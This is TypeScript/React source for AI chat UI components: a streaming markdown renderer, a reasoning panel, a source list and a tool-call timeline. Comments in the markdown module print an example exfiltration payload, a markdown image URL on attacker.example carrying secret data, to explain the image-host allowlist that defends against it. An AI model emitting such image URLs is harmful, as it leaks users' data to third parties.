export function hasModifier(event: { altKey: boolean; ctrlKey: boolean; metaKey: boolean }) {
  return event.altKey || event.ctrlKey || event.metaKey;
}

/** Heading levels a component title can render as. */
export type HeadingLevel = 2 | 3 | 4 | 5 | 6;
7e:T3ec7,'use client';

import { createContext, memo, useContext, useMemo, type ReactNode } from 'react';
import ReactMarkdown, { type Components } from 'react-markdown';
import remarkGfm from 'remark-gfm';
import remend from 'remend';
import { ImageIcon } from './lib/icons';
import { getImagePolicy, isAllowedImage } from './lib/images';
import { CodeLines, CopyButton, Img } from './lib/primitives';
import { cn } from './lib/utils';

/* Minimal structural syntax-tree types, so the plugins need no @types packages. */
interface TreeNode {
  type: string;
  value?: string;
  tagName?: string;
  url?: string;
  properties?: Record<string, unknown>;
  data?: { hProperties?: Record<string, unknown> };
  children?: TreeNode[];
}

/** remark plugin: turn `[1]`-style markers in text into citation links (`#source-1`). */
function remarkCitations(options: { idPrefix: string; count: number }) {
  return (tree: TreeNode) => {
    const visit = (node: TreeNode) => {
      if (!node.children || node.type === 'link' || node.type === 'linkReference') return;
      const next: TreeNode[] = [];
      for (const child of node.children) {
        if (child.type !== 'text' || !child.value || !/\[\d{1,3}\]/.test(child.value)) {
          visit(child);
          next.push(child);
          continue;
        }
        const re = /\[(\d{1,3})\]/g;
        let last = 0;
        let match: RegExpExecArray | null;
        while ((match = re.exec(child.value))) {
          const n = Number(match[1]);
          if (n < 1 || n > options.count) continue;
          if (match.index > last) next.push({ type: 'text', value: child.value.slice(last, match.index) });
          next.push({
            type: 'link',
            url: `#${options.idPrefix}-${n}`,
            data: { hProperties: { dataCitation: String(n) } },
            children: [{ type: 'text', value: String(n) }],
          });
          last = match.index + match[0].length;
        }
        if (last < child.value.length) next.push({ type: 'text', value: child.value.slice(last) });
      }
      node.children = next;
    };
    visit(tree);
  };
}

/** HTML void elements: hast gives them an empty `children` array, but React throws if they get any. */
const VOID_ELEMENTS = new Set([
  'area',
  'base',
  'br',
  'col',
  'embed',
  'hr',
  'img',
  'input',
  'link',
  'meta',
  'source',
  'track',
  'wbr',
]);

/** rehype plugin: append a caret element after the last rendered text while streaming. */
function rehypeCaret() {
  return (tree: TreeNode) => {
    let node: TreeNode = tree;
    for (;;) {
      const last = node.children?.at(-1);
      // Never descend into void elements (a trailing `---` or image): the caret goes after them instead.
      if (
        last &&
        last.type === 'element' &&
        last.children &&
        last.tagName !== 'pre' &&
        !VOID_ELEMENTS.has(last.tagName ?? '')
      )
        node = last;
      else if (last && last.type === 'text' && last.value?.trim() === '' && node.children!.length > 1) {
        // Skip trailing whitespace text nodes between block elements.
        node.children = node.children!.slice(0, -1);
      } else break;
    }
    node.children ??= [];
    node.children.push({ type: 'element', tagName: 'span', properties: { dataAuiCaret: '' }, children: [] });
  };
}

/**
 * rehype plugin: mark images inside links (a badge: `[![CI](badge.svg)](ci-url)`). An image that
 * does not load renders as a link of its own, and a link inside a link is invalid HTML: the browser
 * splits it, which breaks hydration. Marking the tree, rather than relying on our `a` renderer,
 * keeps this working when `components.a` is overridden.
 */
function rehypeImagesInLinks() {
  return (tree: TreeNode) => {
    const visit = (node: TreeNode, inLink: boolean) => {
      for (const child of node.children ?? []) {
        if (child.type !== 'element') continue;
        if (inLink && child.tagName === 'img') child.properties = { ...child.properties, dataAuiInLink: '' };
        visit(child, inLink || child.tagName === 'a');
      }
    };
    visit(tree, false);
  };
}

const REHYPE_PLUGINS = [rehypeImagesInLinks];
const REHYPE_PLUGINS_STREAMING = [rehypeImagesInLinks, rehypeCaret];

/** Where images may load from (see `MarkdownProps.allowedImageHosts`). */
const ImagePolicyContext = createContext(getImagePolicy(undefined));

const linkClass =
  'text-aui-accent-fg decoration-aui-accent/40 hover:decoration-aui-accent focus-visible:outline-aui-ring font-medium underline underline-offset-2 transition-colors focus-visible:outline-2 focus-visible:outline-offset-1';

/**
 * Images load only from allowed hosts: fetching a URL the model wrote can leak data to a third
 * party (`![](https://attacker.example/p.png?d=secret)`). Other images render as a link instead, or as
 * plain text inside the link they already belong to.
 */
function MarkdownImage({
  src,
  alt,
  title,
  inLink,
}: {
  src: string;
  alt?: string | undefined;
  title?: string | undefined;
  /** The image is the content of a link, so its fallback must not be a link too. */
  inLink: boolean;
}) {
  const policy = useContext(ImagePolicyContext);
  // Unsafe protocols, and images that are still streaming, arrive with an empty URL.
  if (!src) return alt ? <>{alt}</> : null;
  if (isAllowedImage(src, policy)) {
    return <Img src={src} alt={alt ?? ''} title={title} className="my-2 inline-block max-w-full rounded-lg" />;
  }
  const label = (
    <>
      <ImageIcon size={13} className="shrink-0 self-center" />
      <span className="sr-only">Image:</span> {alt || 'image'}
    </>
  );
  if (inLink) {
    return (
      <span title={title} className="inline-flex items-baseline gap-1">
        {label}
      </span>
    );
  }
  const external = /^https?:\/\//.test(src);
  return (
    <a
      href={src}
      title={title}
      className={cn(linkClass, 'inline-flex items-baseline gap-1')}
      {...(external ? { target: '_blank', rel: 'noopener noreferrer' } : {})}
    >
      {label}
    </a>
  );
}

function normalizeLanguage(lang: string) {
  const map: Record<string, string> = {
    typescript: 'ts',
    javascript: 'js',
    bash: 'sh',
    shell: 'sh',
    zsh: 'sh',
    python: 'py',
    yml: 'yaml',
  };
  return map[lang] ?? lang;
}

/** react-markdown hands every component the element's syntax tree `node`, which must not reach the DOM. */
function omitNode<P extends { node?: unknown }>(props: P): Omit<P, 'node'> {
  const rest = { ...props };
  delete rest.node;
  return rest;
}

const components: Components = {
  p: ({ className, ...props }) => <p className={cn('my-2.5 first:mt-0 last:mb-0', className)} {...omitNode(props)} />,
  h1: ({ className, children, ...props }) => (
    <h1
      className={cn('text-aui-fg mt-5 mb-2 text-lg font-semibold tracking-tight first:mt-0', className)}
      {...omitNode(props)}
    >
      {children}
    </h1>
  ),
  h2: ({ className, children, ...props }) => (
    <h2
      className={cn('text-aui-fg mt-5 mb-2 text-base font-semibold tracking-tight first:mt-0', className)}
      {...omitNode(props)}
    >
      {children}
    </h2>
  ),
  h3: ({ className, children, ...props }) => (
    <h3 className={cn('text-aui-fg mt-4 mb-1.5 text-[15px] font-semibold first:mt-0', className)} {...omitNode(props)}>
      {children}
    </h3>
  ),
  h4: ({ className, children, ...props }) => (
    <h4 className={cn('text-aui-fg mt-3 mb-1 text-sm font-semibold first:mt-0', className)} {...omitNode(props)}>
      {children}
    </h4>
  ),
  ul: ({ className, ...props }) => (
    <ul className={cn('marker:text-aui-fg-subtle my-2.5 list-disc space-y-1 pl-5', className)} {...omitNode(props)} />
  ),
  ol: ({ className, ...props }) => (
    <ol
      className={cn('marker:text-aui-fg-subtle my-2.5 list-decimal space-y-1 pl-5', className)}
      {...omitNode(props)}
    />
  ),
  li: ({ className, ...props }) => <li className={cn('pl-1', className)} {...omitNode(props)} />,
  blockquote: ({ className, ...props }) => (
    <blockquote
      className={cn('border-aui-border-strong text-aui-fg-muted my-3 border-l-2 pl-3', className)}
      {...omitNode(props)}
    />
  ),
  hr: ({ className, ...props }) => <hr className={cn('border-aui-border my-4', className)} {...omitNode(props)} />,
  strong: ({ className, ...props }) => (
    <strong className={cn('text-aui-fg font-semibold', className)} {...omitNode(props)} />
  ),
  a: ({ className, href, children, ...props }) => {
    const citation = (props as Record<string, unknown>)['data-citation'];
    if (citation !== undefined) {
      return (
        <a
          href={href}
          className="bg-aui-accent/12 font-aui-mono text-aui-accent-fg hover:bg-aui-accent/25 focus-visible:outline-aui-ring mx-0.5 inline-flex h-4 min-w-4 -translate-y-px items-center justify-center rounded-[4px] px-1 align-middle text-[10px] font-semibold no-underline transition-colors focus-visible:outline-2 focus-visible:outline-offset-1"
          aria-label={`Source ${String(citation)}`}
        >
          {children}
        </a>
      );
    }
    const external = typeof href === 'string' && /^https?:\/\//.test(href);
    return (
      <a
        href={href}
        className={cn(linkClass, className)}
        {...(external ? { target: '_blank', rel: 'noopener noreferrer' } : {})}
        {...omitNode(props)}
      >
        {children}
      </a>
    );
  },
  code: ({ className, ...props }) => (
    <code
      className={cn(
        className?.includes('language-')
          ? className
          : 'border-aui-border bg-aui-surface-2 font-aui-mono text-aui-fg rounded-[5px] border px-1 py-px text-[0.86em]',
      )}
      {...omitNode(props)}
    />
  ),
  pre: ({ children }) => <CodeBlock>{children}</CodeBlock>,
  img: ({ src, alt, title, ...props }) => (
    <MarkdownImage
      src={typeof src === 'string' ? src : ''}
      alt={alt}
      title={title}
      inLink={(props as Record<string, unknown>)['data-aui-in-link'] !== undefined}
    />
  ),
  table: ({ className, ...props }) => (
    <div className="border-aui-border my-3 overflow-x-auto rounded-lg border">
      <table className={cn('w-full text-left text-[13px]', className)} {...omitNode(props)} />
    </div>
  ),
  th: ({ className, ...props }) => (
    <th
      className={cn('border-aui-border bg-aui-surface-2 text-aui-fg border-b px-3 py-1.5 font-semibold', className)}
      {...omitNode(props)}
    />
  ),
  td: ({ className, ...props }) => (
    <td className={cn('border-aui-border/60 text-aui-fg-muted border-b px-3 py-1.5', className)} {...omitNode(props)} />
  ),
  span: (props) =>
    (props as Record<string, unknown>)['data-aui-caret'] !== undefined ? (
      <span
        aria-hidden="true"
        className="bg-aui-accent motion-safe:animate-aui-blink ml-0.5 inline-block h-[1.1em] w-[0.5ch] translate-y-[0.2em] rounded-[1px]"
      />
    ) : (
      <span {...omitNode(props)} />
    ),
};

export interface MarkdownProps {
  children: string;
  /** Repairs unterminated syntax and shows a caret while text is still arriving. */
  streaming?: boolean;
  /** Number of available sources; `[n]` markers up to this count become citation links. */
  citations?: number;
  /** Must match the `idPrefix` of the `Sources` the citations point to. Default "source". */
  citationPrefix?: string;
  /**
   * Where images may load from. Default: nowhere. The browser fetches an image as soon as it
   * renders, so a URL in model output can leak data (`![](https://attacker.example/p.png?d=…)`);
   * a blocked image renders as a link with its alt text, and nothing is requested.
   *
   * - A host name of http(s) URLs, matched exactly: `'images.example.com'` (any port), or
   *   `'localhost:3000'` (that port only).
   * - `'self'`: relative URLs (`/logo.png`, `./chart.png`), which load from your own origin.
   *   `//host/x` is not relative. An absolute URL to your own site needs its host listed.
   * - `'*'`: every image.
   *
   * Compared by value, so an inline array does not re-render the markdown.
   */
  allowedImageHosts?: readonly string[] | undefined;
  /** Element overrides, merged over the defaults. Keep the object stable: a new one re-renders the markdown. */
  components?: Components;
  className?: string;
}

const sameList = (a: readonly string[] | undefined, b: readonly string[] | undefined) =>
  a === b || (!!a && !!b && a.length === b.length && a.every((item, i) => item === b[i]));

/** Shallow, except that `allowedImageHosts` compares by value (it is often written inline). */
function sameProps(prev: MarkdownProps, next: MarkdownProps) {
  const keys = new Set([...Object.keys(prev), ...Object.keys(next)]) as Set<keyof MarkdownProps>;
  for (const key of keys) {
    if (key === 'allowedImageHosts' ? !sameList(prev[key], next[key]) : !Object.is(prev[key], next[key])) return false;
  }
  return true;
}

/**
 * Streaming-safe markdown (GFM). While `streaming`, unterminated emphasis, code
 * and links are closed before parsing so partial output never flashes raw syntax.
 * Raw HTML is not rendered, links and images with unsafe protocols (`javascript:`,
 * `data:`) are stripped, and images load only from `allowedImageHosts`.
 */
export const Markdown = memo(function Markdown({
  children,
  streaming = false,
  citations = 0,
  citationPrefix = 'source',
  allowedImageHosts,
  components: overrides,
  className,
}: MarkdownProps) {
  const text = useMemo(
    () => (streaming ? remend(children, { linkMode: 'text-only' }) : children),
    [children, streaming],
  );
  const remarkPlugins = useMemo(
    () =>
      citations > 0
        ? [remarkGfm, [remarkCitations, { idPrefix: citationPrefix, count: citations }] as const]
        : [remarkGfm],
    [citations, citationPrefix],
  );
  const merged = useMemo(() => (overrides ? { ...components, ...overrides } : components), [overrides]);
  const imagePolicy = useMemo(() => getImagePolicy(allowedImageHosts), [allowedImageHosts]);
  return (
    <div
      data-aui
      data-slot="markdown"
      className={cn('font-aui-sans text-aui-fg text-[14.5px] leading-[1.7] [overflow-wrap:anywhere]', className)}
    >
      {/* .Provider rather than React 19's <Context value>, so that React 18 renders it too. */}
      <ImagePolicyContext.Provider value={imagePolicy}>
        <ReactMarkdown
          // Plugin tuples are typed loosely by unified; the shapes above are correct.
          remarkPlugins={remarkPlugins as never}
          rehypePlugins={(streaming ? REHYPE_PLUGINS_STREAMING : REHYPE_PLUGINS) as never}
          components={merged}
        >
          {text}
        </ReactMarkdown>
      </ImagePolicyContext.Provider>
    </div>
  );
}, sameProps);
7f:T1021,'use client';

import * as Collapsible from '@radix-ui/react-collapsible';
import { useState, type ComponentPropsWithoutRef } from 'react';
import { formatDuration } from './lib/format';
import { useActivityWindow } from './lib/hooks';
import { ChevronIcon, SparkIcon } from './lib/icons';
import { cn } from './lib/utils';
import { Markdown } from './markdown';

export interface ReasoningProps extends Omit<ComponentPropsWithoutRef<'div'>, 'children'> {
  text: string;
  /** The model is still reasoning. The panel opens while streaming and closes when done. */
  streaming?: boolean;
  /** Known reasoning duration in ms. Measured client-side when omitted. */
  durationMs?: number | undefined;
  defaultOpen?: boolean;
  open?: boolean | undefined;
  onOpenChange?: ((open: boolean) => void) | undefined;
  /** Where images in the reasoning may load from: host names, `'self'` or `'*'`. See `MarkdownProps.allowedImageHosts`. */
  allowedImageHosts?: readonly string[] | undefined;
}

/**
 * Collapsible model reasoning. Opens automatically while the model thinks and
 * collapses to a one-line "Thought for 3.2s" summary when it finishes, unless
 * the user has toggled it.
 */
export function Reasoning({
  text,
  streaming = false,
  durationMs,
  defaultOpen,
  open: openProp,
  onOpenChange,
  allowedImageHosts,
  className,
  ...props
}: ReasoningProps) {
  const [openState, setOpenState] = useState(defaultOpen ?? streaming);
  const [touched, setTouched] = useState(false);
  const [prevStreaming, setPrevStreaming] = useState(streaming);
  // Follow the stream (adjusting state during render, not in an effect).
  if (prevStreaming !== streaming) {
    setPrevStreaming(streaming);
    if (!touched) setOpenState(streaming);
  }
  const open = openProp ?? openState;
  const activity = useActivityWindow(streaming);
  const measured =
    activity.startedAt !== undefined && activity.endedAt !== undefined
      ? activity.endedAt - activity.startedAt
      : undefined;
  const duration = durationMs ?? measured;
  const label = streaming
    ? 'Thinking'
    : duration !== undefined
      ? `Thought for ${formatDuration(duration)}`
      : 'Reasoning';

return (
    <Collapsible.Root
      data-aui
      data-slot="reasoning"
      data-streaming={streaming || undefined}
      open={open}
      onOpenChange={(next) => {
        setTouched(true);
        if (openProp === undefined) setOpenState(next);
        onOpenChange?.(next);
      }}
      className={cn('font-aui-sans', className)}
      {...props}
    >
      <Collapsible.Trigger className="group/trigger text-aui-fg-muted hover:text-aui-fg focus-visible:outline-aui-ring inline-flex cursor-pointer items-center gap-1.5 rounded-md py-1 pr-1.5 text-[13px] transition-colors focus-visible:outline-2 focus-visible:outline-offset-2">
        <SparkIcon size={14} className={cn('text-aui-accent', streaming && 'motion-safe:animate-pulse')} />
        <span
          className={cn(
            'font-medium',
            streaming &&
              'motion-safe:animate-aui-shimmer motion-safe:bg-[linear-gradient(90deg,var(--aui-fg-muted)_0%,var(--aui-fg-muted)_40%,var(--aui-accent-fg)_50%,var(--aui-fg-muted)_60%,var(--aui-fg-muted)_100%)] motion-safe:bg-[length:200%_100%] motion-safe:bg-clip-text motion-safe:text-transparent',
          )}
        >
          {label}
        </span>
        <ChevronIcon
          size={13}
          className="transition-transform duration-200 group-data-[state=open]/trigger:rotate-90 motion-reduce:transition-none"
        />
      </Collapsible.Trigger>
      <Collapsible.Content className="data-[state=closed]:motion-safe:animate-aui-collapse data-[state=open]:motion-safe:animate-aui-expand overflow-hidden">
        <div className="border-aui-border-strong mt-1.5 mb-1 border-l-2 py-0.5 pl-3.5">
          <Markdown
            streaming={streaming}
            allowedImageHosts={allowedImageHosts}
            className="text-aui-fg-muted text-[13px] leading-relaxed"
          >
            {text}
          </Markdown>
        </div>
      </Collapsible.Content>
    </Collapsible.Root>
  );
}
80:T13b6,import type { ComponentPropsWithoutRef } from 'react';
import { toSourceItem, type SourceItem, type SourcePart } from './lib/ai';

import { getHostname } from './lib/format';
import { ExternalIcon, FileIcon } from './lib/icons';
import { cn } from './lib/utils';

export type { SourceItem };

export interface SourcesProps extends Omit<ComponentPropsWithoutRef<'div'>, 'children'> {
  sources: ReadonlyArray<SourcePart | SourceItem>;
  variant?: 'chips' | 'cards';
  /** Visible heading. Default "Sources"; pass `null` to hide it (it stays as the accessible name). */
  label?: string | null;
  /**
   * Prefix for element ids (`${idPrefix}-1`, …) so inline citations can link to a source.
   * Default "source".
   */
  idPrefix?: string;
}

/** Citation list as compact chips or richer cards. External links open in a new tab. */
export function Sources({
  sources,
  variant = 'chips',
  label = 'Sources',
  idPrefix = 'source',
  className,
  ...props
}: SourcesProps) {
  const items = sources.map(toSourceItem);
  if (items.length === 0) return null;
  const name = label ?? 'Sources';
  return (
    <div
      data-aui
      data-slot="sources"
      data-variant={variant}
      className={cn('font-aui-sans text-aui-fg', className)}
      {...props}
    >
      {label !== null && (
        <p className="font-aui-mono text-aui-fg-subtle mb-2 text-[10.5px] font-medium tracking-[0.08em] uppercase">
          {label} <span className="text-aui-fg-subtle">· {items.length}</span>
        </p>
      )}
      {/* A labelled list rather than a nav landmark: a conversation can hold many source lists. */}
      <ol
        aria-label={name}
        className={cn(variant === 'chips' ? 'flex flex-wrap gap-1.5' : 'grid grid-cols-1 gap-2 sm:grid-cols-2')}
      >
        {items.map((item, i) => {
          const n = i + 1;
          const host = item.url ? getHostname(item.url) : (item.filename ?? item.mediaType ?? 'Document');
          const title = item.title ?? host;
          const content =
            variant === 'chips' ? (
              <>
                <span className="font-aui-mono text-aui-accent-fg text-[10.5px] font-semibold tabular-nums">{n}</span>
                <Monogram item={item} />
                <span className="text-aui-fg max-w-[16rem] truncate">{title}</span>
                {item.title && item.url && <span className="text-aui-fg-subtle hidden sm:inline">{host}</span>}
              </>
            ) : (
              <>
                <span className="text-aui-fg-subtle flex items-center gap-2 text-xs">
                  <span className="font-aui-mono text-aui-accent-fg text-[10.5px] font-semibold tabular-nums">{n}</span>
                  <Monogram item={item} />
                  <span className="truncate">{host}</span>
                  {item.url && (
                    <ExternalIcon
                      size={12}
                      className="ml-auto shrink-0 opacity-0 transition-opacity group-hover/source:opacity-100"
                    />
                  )}
                </span>
                <span className="text-aui-fg mt-1.5 line-clamp-2 text-[13px] leading-snug font-medium">{title}</span>
                {item.description && (
                  <span className="text-aui-fg-muted mt-1 line-clamp-2 text-xs leading-relaxed">
                    {item.description}
                  </span>
                )}
              </>
            );
          const shared = cn(
            'group/source focus-visible:outline-aui-ring transition-colors focus-visible:outline-2 focus-visible:outline-offset-2',
            variant === 'chips'
              ? 'border-aui-border bg-aui-surface inline-flex h-7 max-w-full items-center gap-1.5 rounded-full border pr-2.5 pl-2 text-xs'
              : 'border-aui-border bg-aui-surface flex h-full flex-col rounded-lg border p-3',
            item.url && 'hover:border-aui-border-strong hover:bg-aui-surface-2',
          );
          return (
            <li key={`${item.id}-${i}`} id={`${idPrefix}-${n}`} className="min-w-0">
              {item.url ? (
                <a href={item.url} target="_blank" rel="noopener noreferrer" className={shared}>
                  {content}
                  <span className="sr-only">(opens in a new tab)</span>
                </a>
              ) : (
                <span className={shared}>{content}</span>
              )}
            </li>
          );
        })}
      </ol>
    </div>
  );
}
81:T4841,'use client';

import * as Collapsible from '@radix-ui/react-collapsible';
import {
  useCallback,
  useMemo,
  useRef,
  useState,
  type ComponentPropsWithoutRef,
  type KeyboardEvent,
  type ReactNode,
} from 'react';
import {
  getToolPartName,
  getToolPhase,
  isAutomaticApproval,
  isSettledPhase,
  isToolPart,
  TOOL_PHASE_LABEL,
  type AnyUIPart,
  type ToolPart,
  type ToolPhase,
} from './lib/ai';
import { formatDuration, formatDurationLong, humanizeToolName, summarizeValue } from './lib/format';
import { useActivityWindow, useHydrated, useNow, useToolTimings, type ToolTiming, type ToolTimings } from './lib/hooks';
import { BanIcon, CheckIcon, ChevronIcon, SpinnerIcon, XIcon } from './lib/icons';
import { JsonView, LiveRegion } from './lib/primitives';
import { cn } from './lib/utils';

export type RiskLevel = 'low' | 'medium' | 'high' | 'critical';

/** Per-tool presentation. Every field is optional. */
export interface ToolMeta {
  /** Display label. Defaults to the humanized tool name. */
  label?: string;
  icon?: ReactNode;
  /**
   * One-line summary shown next to the label. Defaults to the most descriptive input field.
   * Not called before any input has arrived; while the input streams it can be partial.
   */
  summary?: (input: unknown, part: ToolPart) => ReactNode;
  /** Replace the default JSON output view. */
  renderOutput?: (output: unknown, part: ToolPart) => ReactNode;
  /** Risk shown on approval requests for this tool. */
  risk?: RiskLevel | ((input: unknown) => RiskLevel);
}

export interface ToolCallTimelineProps extends Omit<ComponentPropsWithoutRef<'div'>, 'children'> {
  /** Tool parts, or every part of a message: non-tool parts are ignored. */
  parts: readonly AnyUIPart[];
  tools?: Record<string, ToolMeta> | undefined;
  /** Externally measured timings by `toolCallId`. Measured client-side when omitted. */
  timings?: ToolTimings | undefined;
  /** Controlled set of expanded `toolCallId`s. */
  expanded?: readonly string[] | undefined;
  defaultExpanded?: readonly string[] | undefined;
  onExpandedChange?: ((expanded: string[]) => void) | undefined;
  /**
   * Expand calls automatically when they fail. Default `false`: the error
   * message is always shown inline under a failed call, with details on demand.
   */
  expandErrors?: boolean;
  /** Show a per-call waterfall bar relative to the whole timeline. Default `true`. */
  waterfall?: boolean;
  /** Announce completions and failures to screen readers. Default `true`. */
  announce?: boolean;
  /** Extra content under a call, e.g. an approval card. */
  renderExtra?: ((part: ToolPart) => ReactNode) | undefined;
  /** Accessible name for the list. Default "Tool calls". */
  label?: string;
  /**
   * Whether the run can still make progress. Default `true`. Pass `false` once it has ended
   * (stopped, failed, or restored from history): calls still streaming their input or running
   * then read "Stopped" and their clocks stop, instead of counting up forever.
   */
  active?: boolean;
}

const PHASE_TEXT: Record<ToolPhase, string> = {
  streaming: 'text-aui-fg-muted',
  running: 'text-aui-accent-fg',
  'awaiting-approval': 'text-aui-hot-fg',
  success: 'text-aui-fg-subtle',
  error: 'text-aui-hot-fg',
  denied: 'text-aui-fg-subtle',
};

/**
 * Calls that only the model or a tool can still finish. An approved call waiting for the app to send
 * the continuation (`approval-responded`) is excluded: `useChat` sends it after a render.
 */
function isInterruptible(part: ToolPart): boolean {
  return (
    part.state === 'input-streaming' ||
    part.state === 'input-available' ||
    (part.state === 'output-available' && part.preliminary === true)
  );
}

function getDuration(t: ToolTiming | undefined, now: number): number | undefined {
  if (!t?.startedAt) return undefined;
  const from = t.runningAt ?? t.startedAt;
  return Math.max(0, (t.endedAt ?? now) - from);
}

/**
 * A vertical timeline of tool calls with live states, durations, a waterfall,
 * and expandable input/output. Follows the WAI-ARIA disclosure pattern; Arrow
 * Up/Down, Home and End move between calls.
 */
export function ToolCallTimeline({
  parts,
  tools,
  timings: timingsProp,
  expanded: expandedProp,
  defaultExpanded,
  onExpandedChange,
  expandErrors = false,
  waterfall = true,
  announce = true,
  renderExtra,
  label = 'Tool calls',
  active = true,
  className,
  ...props
}: ToolCallTimelineProps) {
  const toolParts = useMemo(() => parts.filter(isToolPart), [parts]);
  const measured = useToolTimings(toolParts);
  const timings = timingsProp ?? measured;
  const anyActive =
    active && toolParts.some((p) => !isSettledPhase(getToolPhase(p)) && getToolPhase(p) !== 'awaiting-approval');
  const now = useNow(anyActive, 100);
  const hydrated = useHydrated();
  // Unsettled calls freeze when the run stops; restored history (never active here) has no end time.
  const stoppedAt = useActivityWindow(active).endedAt;
  const clock = active ? now : stoppedAt;

const [uncontrolled, setUncontrolled] = useState<readonly string[]>(defaultExpanded ?? []);
  const userExpanded = expandedProp ?? uncontrolled;
  // Failed calls open automatically unless the user explicitly collapsed them.
  const [collapsedErrors, setCollapsedErrors] = useState<ReadonlySet<string>>(() => new Set());
  const isOpen = useCallback(
    (part: ToolPart) =>
      userExpanded.includes(part.toolCallId) ||
      (expandErrors && part.state === 'output-error' && !collapsedErrors.has(part.toolCallId)),
    [userExpanded, expandErrors, collapsedErrors],
  );
  const setOpen = (part: ToolPart, open: boolean) => {
    const id = part.toolCallId;
    if (!open && part.state === 'output-error') setCollapsedErrors((s) => new Set(s).add(id));
    const next = open ? [...userExpanded.filter((x) => x !== id), id] : userExpanded.filter((x) => x !== id);
    if (expandedProp === undefined) setUncontrolled(next);
    onExpandedChange?.(next);
  };

// Waterfall bounds span every call that has timing information.
  const bounds = useMemo(() => {
    let min = Infinity;
    let max = -Infinity;
    for (const part of toolParts) {
      const t = timings[part.toolCallId];
      const end = t?.endedAt ?? clock;
      if (!t?.startedAt || end === undefined) continue;
      min = Math.min(min, t.startedAt);
      max = Math.max(max, end);
    }
    return Number.isFinite(min) && max > min ? { min, span: max - min } : undefined;
  }, [toolParts, timings, clock]);

// The most recently settled call drives the live announcement.
  const announcement = useMemo(() => {
    let latest: { part: ToolPart; at: number } | undefined;
    for (const part of toolParts) {
      const at = timings[part.toolCallId]?.endedAt;
      if (at !== undefined && (!latest || at >= latest.at)) latest = { part, at };
    }
    if (!latest) return '';
    const { part } = latest;
    const name = tools?.[getToolPartName(part)]?.label ?? humanizeToolName(getToolPartName(part));
    const phase = getToolPhase(part);
    if (phase === 'error') return `${name} failed: ${part.errorText ?? 'unknown error'}`;
    if (phase === 'denied')
      return isAutomaticApproval(part.approval) ? `${name} was blocked by policy` : `${name} was denied`;
    return `${name} finished in ${formatDurationLong(getDuration(timings[part.toolCallId], latest.at))}`;
  }, [toolParts, timings, tools]);

const listRef = useRef<HTMLOListElement>(null);
  const onKeyDown = (event: KeyboardEvent<HTMLOListElement>) => {
    if (!['ArrowDown', 'ArrowUp', 'Home', 'End'].includes(event.key)) return;
    const triggers = Array.from(
      listRef.current?.querySelectorAll<HTMLButtonElement>('[data-slot="tool-call-trigger"]') ?? [],
    );
    const index = triggers.indexOf(document.activeElement as HTMLButtonElement);
    if (index === -1) return;
    event.preventDefault();
    const nextIndex =
      event.key === 'Home'
        ? 0
        : event.key === 'End'
          ? triggers.length - 1
          : (index + (event.key === 'ArrowDown' ? 1 : -1) + triggers.length) % triggers.length;
    triggers[nextIndex]?.focus();
  };

if (toolParts.length === 0) return null;

return (
    <div
      data-aui
      data-slot="tool-call-timeline"
      className={cn('font-aui-sans text-aui-fg @container', className)}
      {...props}
    >
      {/* Arrow-key navigation between the disclosure buttons, as in the WAI-ARIA accordion pattern. */}
      <ol ref={listRef} aria-label={label} onKeyDown={onKeyDown} className="relative flex flex-col">
        {toolParts.map((part, index) => (
          <TimelineItem
            key={part.toolCallId}
            part={part}
            meta={tools?.[getToolPartName(part)]}
            timing={timings[part.toolCallId]}
            clock={clock}
            interrupted={!active && isInterruptible(part)}
            bounds={waterfall && hydrated ? bounds : undefined}
            hydrated={hydrated}
            isLast={index === toolParts.length - 1}
            open={isOpen(part)}
            onOpenChange={(open) => setOpen(part, open)}
            extra={renderExtra?.(part)}
          />
        ))}
      </ol>
      {announce && <LiveRegion>{announcement}</LiveRegion>}
    </div>
  );
}

interface TimelineItemProps {
  part: ToolPart;
  meta: ToolMeta | undefined;
  timing: ToolTiming | undefined;
  /** Current time while the run is active, when it stopped once inactive (undefined if unknown). */
  clock: number | undefined;
  /** The run ended while this call was still preparing or running. */
  interrupted: boolean;
  bounds: { min: number; span: number } | undefined;
  isLast: boolean;
  hydrated: boolean;
  open: boolean;
  onOpenChange: (open: boolean) => void;
  extra: ReactNode;
}

function TimelineItem({
  part,
  meta,
  timing,
  clock,
  interrupted,
  bounds,
  isLast,
  hydrated,
  open,
  onOpenChange,
  extra,
}: TimelineItemProps) {
  const name = getToolPartName(part);
  const phase = getToolPhase(part);
  const label = meta?.label ?? part.title ?? humanizeToolName(name);
  // The SDK sets `input: undefined` until the first input delta arrives.
  const summary =
    part.input === undefined ? undefined : meta?.summary ? meta.summary(part.input, part) : summarizeValue(part.input);
  const settled = isSettledPhase(phase) || interrupted;
  // Live durations depend on the clock: render them only after hydration.
  const end = timing?.endedAt ?? clock;
  const duration = (settled || hydrated) && end !== undefined ? getDuration(timing, end) : undefined;

let bar: { left: number; width: number } | undefined;
  if (bounds && timing?.startedAt && end !== undefined) {
    const left = ((timing.startedAt - bounds.min) / bounds.span) * 100;
    bar = { left, width: Math.max(2, ((end - timing.startedAt) / bounds.span) * 100) };
  }

return (
    <li
      data-slot="tool-call"
      data-phase={phase}
      data-state={part.state}
      data-interrupted={interrupted || undefined}
      className="group/item motion-safe:animate-aui-enter relative grid grid-cols-[1.5rem_minmax(0,1fr)] gap-x-3"
    >
      {!isLast && (
        <span
          aria-hidden="true"
          className={cn(
            'absolute top-7 bottom-0 left-[11.5px] w-px',
            settled ? 'bg-aui-border-strong' : 'from-aui-accent/50 to-aui-border bg-gradient-to-b',
          )}
        />
      )}
      <div className="pt-1.5">
        <StatusNode phase={phase} interrupted={interrupted} />
      </div>
      <Collapsible.Root open={open} onOpenChange={onOpenChange} className={cn('min-w-0', isLast ? 'pb-0' : 'pb-2')}>
        <Collapsible.Trigger
          data-slot="tool-call-trigger"
          className="group/trigger hover:bg-aui-surface-2/70 focus-visible:outline-aui-ring flex w-full min-w-0 cursor-pointer items-center gap-2.5 rounded-lg px-2 py-1.5 text-left transition-colors focus-visible:outline-2 focus-visible:outline-offset-0"
        >
          {meta?.icon && (
            <span aria-hidden="true" className="text-aui-fg-subtle flex shrink-0 [&_svg]:size-3.5">
              {meta.icon}
            </span>
          )}
          <span className="text-aui-fg shrink-0 text-[13px] font-medium">{label}</span>
          {summary !== undefined && summary !== null && summary !== '' && (
            // In narrow containers the summary is visually hidden but stays in the button's accessible name.
            <span className="font-aui-mono text-aui-fg-muted sr-only min-w-0 text-xs @md:not-sr-only @md:truncate">
              {summary}
            </span>
          )}
          <span className="ml-auto flex shrink-0 items-center gap-2.5 pl-2">
            <span
              className={cn(
                'text-xs font-medium',
                interrupted ? 'text-aui-fg-subtle' : PHASE_TEXT[phase],
